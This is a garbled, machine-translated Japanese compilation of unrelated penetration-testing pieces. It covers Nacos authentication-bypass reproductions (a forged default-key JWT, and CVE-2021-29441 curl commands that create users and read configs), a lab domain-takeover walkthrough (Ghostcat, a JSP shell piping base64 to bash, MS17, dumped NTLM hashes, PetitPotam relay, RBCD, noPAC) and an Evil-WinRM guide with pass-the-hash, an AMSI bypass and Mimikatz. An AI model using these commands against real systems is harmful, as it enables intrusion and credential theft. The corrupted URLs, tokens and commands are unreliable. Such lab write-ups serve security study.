HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:43834194(42M)[アプリケーション/X-TAR]

: "/tmp/docker.tar.gzに節約

/tmp/docker.tar.gz 100%[======================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================

2021-01-17 22:04336016(13.8 MB/s)-Saved "/tmp/docker.tar.gz" [43834194/43834194]))

Docker Composeプログラムのダウンロードを開始します.

-2021-01-17 22:04336017--https://Get.daocloud.io/docker/compose/releases/dowdoload/1.27.4/docker-compose-linux-x86_64

ホストの解決get.daocloud.io(get.daocloud.io). 106.75.86.15

接続get.daocloud.io(get.daocloud.io)| 106.75.86.15 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 302が見つかりました

場所:https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.io/docker/compose/releases/download/1.27.4/docker-compose-linux-x86_64 [新しいURLに従ってください]

-2021-01-17 223:04:28--- https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO/DOCKER/COMPOSE/RELEASES/DOWNLOAD/1.27.4/DOCKER-COMPOSE-LINUX-X86_64

ホストdn-dao-github-mirror.daocloud.io(dn-dao-github-mirror.daocloud.io). 240e:ff:a024:200:33603fe、 240E:964:100:302:33603FE、61.160.204.242、

DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO(DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO)| 240E:FF:A024:200:33603FE | :43 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:12218968(12M)[アプリケーション/X-執行可能]

: "/tmp/docker-compose"に節約

/TMP/Docker-Compose

NACOS脆弱性の概要の再発

1。 NACOSデフォルトキーは、ログインをバイパスする許可を引き起こします

NACOS=2.1.0に影響を与える問題がNACOSで見つかり、デフォルトのJWTキーを使用してNACOSユーザーが不正アクセスの脆弱性を引き起こしました。この脆弱性により、攻撃者はユーザー名とパスワード認証をバイパスし、NACOSユーザーに直接ログインできます。

0x00脆弱性の説明

0.1.0=NACOS=2.2.0

0x01脆弱性の影響

FOFA:app='nacos'

0x02脆弱性検索

nacosでは、token.secret.key値は固定されており、場所はアプリケーションです。

image.png

nacos.core.auth.plugin.nacos.token.secret.key=secretkey0123456789012345678901234567890123456789012345678901234567899

1.トークンを取得し、このデフォルトキーを使用してJWT構造を実行し、背景を直接入力します。建設方法:

https://jwt.io/で:デフォルトキーを入力してください:

SecretKey012345678901234567890123456789012345678901234567890123456789

次に、ペイロードを入力します。

{

'sub':' nacos '、

'exp': 1678899909

}

ここで注:1678899909の値はUNIXタイムスタンプです。変換したい場合は、システム内の現在よりも遅くなります。たとえば、現在の時刻は2023年3月15日22:11:09で、ここでのタイムスタンプ時間は3月16日です。

image.png

image.png

知らせ:

以下は、JWT値をバイパス許可に鍛造するテスト結果です

1.タイムスタンプを拡張し、パスワードを投稿するのが間違っていて、ユーザー名が正しい

2。タイムスタンプを拡張し、パスワードを投稿し、ユーザー名エラーを拡張します

3.タイムスタンプを削除してください、投稿のパスワードが間違っています、ユーザー名が間違っています

上記の値をコピーし、げっぷのログインを選択して構成します。

eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s

image.png

あなたはそれを箱に自分で追加する必要があります:

POST/NACOS/V1/AUTH/USERS/LOGIN HTTP/1.1

HOST: 10.211.55.5:8848

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV3360104.0)Gecko/20100101 Firefox/104.0

Accept: Application/Json、Text/Plain、 */*

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.533608848

Connection:閉じます

Referer: http://10.211.55.533608848/nacos/index.html

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

username=crowsecpassword=crowsec

この時点で、トークン情報を受け取りました。

HTTP/1.1 200

Vary: Origin

VARY: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

content-security-policy: script-src 'self'

set-cookie: jsessionid=d90cf6e5b233685e4a39c1b1bda9f185; path=/nacos; httponly

Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s

Content-Type:アプリケーション/JSON

日付:水曜日、2023年3月15日14336013:22 GMT

Connection:閉じます

Content-Length: 197

{'AccessToken':'eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s '、' tokenttl':18000、 'globaladmin':true、' username':'nacos '}

この時点で、NACOSのトークン情報を受け取りました。

2。トークンを使用してログインしてバックグラウンドにログインする方法は?ここでは、偽のアカウントでログインしてから変更してパッケージに戻る必要があります。試してみてください:

最初に偽のアカウントでログインし、げっぷを使用して傍受:image.png

これは間違いなくアクセスできません。ここで返品パッケージを変更し、右クリックしてこれを読みます:

image.png

その後、ここで返される情報は間違いなく無効です:

image.png

ここでは、今すぐ生成されたリターンパッケージを使用して、それを交換し、すべてをコピーします。

image.png

再びフォワード:image.png

今、私はすでに入力したので:

image.png

3.デフォルトキーを使用してJWTを生成して現在のユーザー名とパスワードを表示します/nacos/v1/auth/users?accesstoken=eyjhbgcioiiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuubz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip、deflateconnection: closeif-midified-since:水、2023年2月15日gmtupgrade-insecure-requests: 1accesstoken: eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuk7s4j6dstu7s4dstu7s.dstuko7sヘロナコス、そしてそれを正常に作成します

post/nacos/v1/auth/users http/1.1host: {{hostname}} user-agent: mozilla/5.0authorization: bearereyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4puk4pukjuobz6j6dstuko7siccechict-ecobjubz6dstuko7siccecepudipubz DeflateConnection: CloseUpgrade-Insecure-Requests: 1IF-Modified-Since:水曜日、2023年2月15日10:45:10 GMTCONTENT-TYPE3:アプリケーション/X-WWW-WWW-form-on-Length: 39

username=hellonacospassword=hellonacos

0x03脆弱性の再発

http://10.10.84.2073:8848/nacos/v1/auth/users?pageno=1pagesize=9search=quarceateaccesstokenhttp://your_ip:8848/nacos/v1/auth/?pageno=1pageno=1pageno 1049983-20230323105704604-273123776.jpg

2。 NACOSデフォルト構成不正アクセスの脆弱性

ServerIdentity

3。 NACOS2.2.0許可バイパス

追加ServerIdentity31049983-20230323105705306-318833055.jpg Addy ServerIdentity 1049983-20230323105705306-318833055.jpg (dnacos.core.auth.enabled=true)、authfilterサーブレットフィルターは、認証を強制するために使用されるため、認証チェックをスキップします。このメカニズムは、ユーザーエージェントHTTPヘッダーに依存するため、簡単にスプーフィングされます。この問題により、すべてのユーザーがNACOSサーバーで管理タスクを実行できる場合があります。

iv。 Nacos1.x.xバージョンユーザーエージェント許可バイパス((CVE-2021-29441)

Docker run -D -P 8848:8848 HGLIGHT/CVE-2021-29441

0x01脆弱性の説明

NACOS=1.4.1 :010101。 http://Target:88848/nacos/v1/auth/users?pageno=1pagesize=9戻り値が200であることがわかります。

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105706774-1149816692.png

または、コマンドを使用してアクセスしてください。ユーザーパスワードを読む:curl 'http://127.0.0.0.1:8848/nacos/v1/auth/users?pageno=1pagesize=9accesstoken=' -h 'user -agent: nacos-server'curl'http://127.0.0.13:8848/nacos/v1/auth/users?pageno=1pagesize=9search=blur'-h'user-agent3:nacos-server '

curl'http://127.0.0.133608848/nacos/v1/auth/users?pageno=1pagesize=9search=quarce'-h'user-agent:nacos-server'unauthorizedユーザーの追加curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1password=test1 '-h' user-agent:nacos-serverユーザーパスワードの変更curl-x put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken=' -h 'user -agent:nacos -server' -d 'username=test1newpassword=test2'read構成ファイルcurl-xget'http://127.0.0.133608848/nacos/v1/cs/configs?search=quarceatedataid=group=pageno=1pagesize=9 9'curl-xget'3http://127.0.0.1:8848/nacos/v1/cs/configs?search=bludataid=group=pageno=1pagesize=99 '

ヘッダーヘッダーを追加した後、POSTメソッドを使用してhttp://TARGET:88848/NACOS/V1/AUTH/USERS?USERNAME=VULHUBPASSWORD=valHubadd、アカウントパスワードはVulHubPost/Nacos/V1/use/users=hglightpassword=hglightpassword=hglightpassword=hglightpasswordです。

Host: 192.168.246.138:8848

user-agent: nacos-serverまたはpost/nacos/v1/auth/users http/1.1host: 192.168.31.643:88848Cache-control3360 max-age=0upgrade-insecure-Requerestess3360 1USer-agent: NACOS-Serveraccept-Encoding: GZIP、DERLATEACCEPT-LANGUAGE: ZH-CN、ZH; Q=0.9Connection: closecontent-type:アプリケーション/X-WWW-FORM-URLENCODEDEDEDEDEDCONTENT-LENGTENT-LENGTENT-LENGTEN 1049983-20230323105707562-1407732490.pngユーザーリストをもう一度表示します。返されたユーザーリストデータには、バイパス認証によって作成された追加の新しいユーザーがあります。

get/nacos/v1/auth/users/?pageno=1pagesize=9 http/1.1

Host: 192.168.246.138:8848

user-agent: nacos-server 1049983-20230323105708417-444131267.pngアクセスhttp://IP:8848/NACOSは新しいユーザーでログインします。

0x01 - 情報

TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 5f3flifo2tk2965.png

0x02 - 再

ターゲット外部IP 47.92.146.66

NMAPの結果

ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)bv44lihq3zu2966.pngディレクトリスキャンを意味します。404ページはTomcat 9.0.30 f2dp2nzldoh2967.pngとして表示されます。

このプロジェクトでテストします

https://github.com/00theway/ghostcat-cnvd-2020-10487

/web-inf/web.xml yyqkiz4ro432968.pngを読み取ります

url-pattern結果は辞書4gvwxkrov1p2969.pngとして保存されます

FFUF vrdcpmabyoe2970.png

UploadServlet 1ghojgom34o2971.pngをフォローしてください

Temp.txt f0lkwzqqij32972.pngをアップロードします

ファイルアドレスc20vdvfozh52973.png./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd.

./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります

Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t

asroozh1fbh2974.png

0x03 - Ghostcatコマンド実行

shell.txt m1qwehukkqp2975.png%java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");%

shell.txt ohtcdxcxizk2976.pngアップロードされたコードnjmzvilq2ku2977.pngSSH - FLAG01 infa3uyxlcr2978.pngを実行する

0x04 - ポータルUbuntu:172.22.11.76

SSH 0zovuchzfwo2979.png何もありません。aveqdtov0iy2980.pngにアクセスしてエージェントjl5dqk2iqvv2981.pngを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab

172.22.11.6 Xiaorang-DC.Xiaorang.lab

172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB qhwbwdlo4fb2982.png

172.22.11.45 - Windows7 - MS17 wfr31ur1rwl2983.pngMS17 1つのGO tv3venfc4p32984.png基本操作hzlrpv2tnjv2985.png 3ebw5nwtfn52986.pngに注意してください

資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報)

John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報)

XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報)

私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクf4z5nvg2x3r2987.pngに直接行きました

flag2 kf1fw5w1nav2988.pngドメインユーザーyangmeiをマシンのローカル管理者に追加するfd3gzkveokg2989.pngドメイン制御IPを172.22.11.6 - Xiaorang-DC y1vbpletioe2990.pngBloodhound Collection gcmdhbmoo0y2991.png

0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45

これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン52fl5fs4vg42992.png NO ADCS + Petitpotam + NTLM Leray Play Play Plye

攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。

WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)x4l04pmb4l22993.pngリレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します

現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。

図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図)uuxpin5lqvo2994.png

余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 myqxsqya22q2995.pngで変装させてリッスンします。

テスト、172.22.11.76:80からのトラフィックは、地元のエリアa3ujfdfuk2j2996.pngに直接転送されます

NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS nabg32phjzf2997.png Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b

RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。qz4fetl54p52998.png XR-LCM3AE8B CIFS Notes re3z0ciswku2999.pngに応募します

0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26

PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)kfftv1wj0zl3000.pngSMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1

tkg12ri1mge3001.png

Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ 3ua4w4oelon3002.pngにadfind.exeは表示されませんでした。

Bloodhoundを見ることができません。主な理由は、CreateChildがJSON szj2yzvgn1s3003.pngに収集されず、NOPACに戻り、さらにCreate-Childパラメーターufwsw4ilyqm3004.pngに戻ったことです。

0x07 - ドメイン浸透リンク - Xiaorang-DC

NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)04o40qujktu3005.pngドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9

![[gbcrhiu21z53006.png

0x08 - 周りで遊ぶ

bloodhound.pyがcreatechildを収集できない問題を解決しようとします

Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、ybouszjudka3007.pngと呼びます

170行目に来て、それを追加し、CreateChildを見つけて、データe020zojuslt3008.pngを追加します

Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループcteptyqljev3009.png

Bloodhound Diagram、しかしデータはまだ面倒ですgo4jiixgh313010.png元のリンク:https://www.anquanke.com/post/id/285771

序文

Evil-WinRM

このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。

Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます

管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです

HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。

https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

邪悪なwinrmの紹介

Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL

暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用

Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。

ダウンロードリンク:https: //github.com/hackplayers/evil-winrm

winrmサービスディスカバリー

上記のように、リモートホストで有効になっている場合

WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。

5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。

NMAP -P 5985、5986 192.168 .1 .19

1049983-20230310091812296-761646061.png

邪悪なwinRMヘルプコマンドヘルプ

Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。

Evil-WinRM -H 1049983-20230310091813306-1791686835.png

プレーンテキストパスワードでログイン

アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。

Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 1049983-20230310091814013-1687837742.png

プレーンテキストパスワードでログイン - SSLを有効にする

上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。

邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S 1049983-20230310091814913-1666008939.png

ntlmハッシュを使用したログイン - ハッシュによる攻撃

イントラネットの浸透または解像度

Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。

Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます

セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 1049983-20230310091815919-322255289.png

load powershellスクリプト

Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します

Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。

https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1

1049983-20230310091816698-1045152289.png

Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell

バイパス-4msi

Invoke-mimikatz.ps1

Invoke-Mimikatz 1049983-20230310091817650-2062958944.png

邪悪なwinrm

を使用してログを保存します

この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 1049983-20230310091818503-1169021792.png

保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。

1049983-20230310091819303-1925120427.png

リモートフルパス関数を無効にします

デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091820319-334324530.png

カラーインターフェイスを無効にします

Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091821002-86216428.png

実行可能ファイルを実行します

この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。

1049983-20230310091821739-279820440.png

Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC

バイパス-4msi

メニュー

Invoke-binary /opt/privsc/winpeasx64.exe 1049983-20230310091822804-340723136.png

実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。

1049983-20230310091823704-102115081.png

サービスクエリに邪悪なwinrmを使用

時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。

この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。

プログラムホストを実行しているすべてのサービスをリストします。

1049983-20230310091824661-464154626.png

邪悪なウィンルムを使用したファイル転送

Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。

1049983-20230310091825389-2110387118.png

ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。

notes.txt /root/raj/notes.txtをダウンロードしてください

1049983-20230310091826103-463726946.png

1049983-20230310091826844-1420175986.png

docker

の邪悪なwinrmを使用しています

このツールもインストールできます

Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。

メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。

docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 1049983-20230310091827602-1375680794.png

邪悪なWINRMキーでログイン

Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。

Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s 1049983-20230310091828303-682569362.png

0x1情報

image

射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。

0x2 recon

ターゲット外部IP39.98.34.149NMAP結果

\ username :管理者、パスワード:123456

image

コマンド実行image

0x03エントリポイント:172.22.4.36

シェルimage

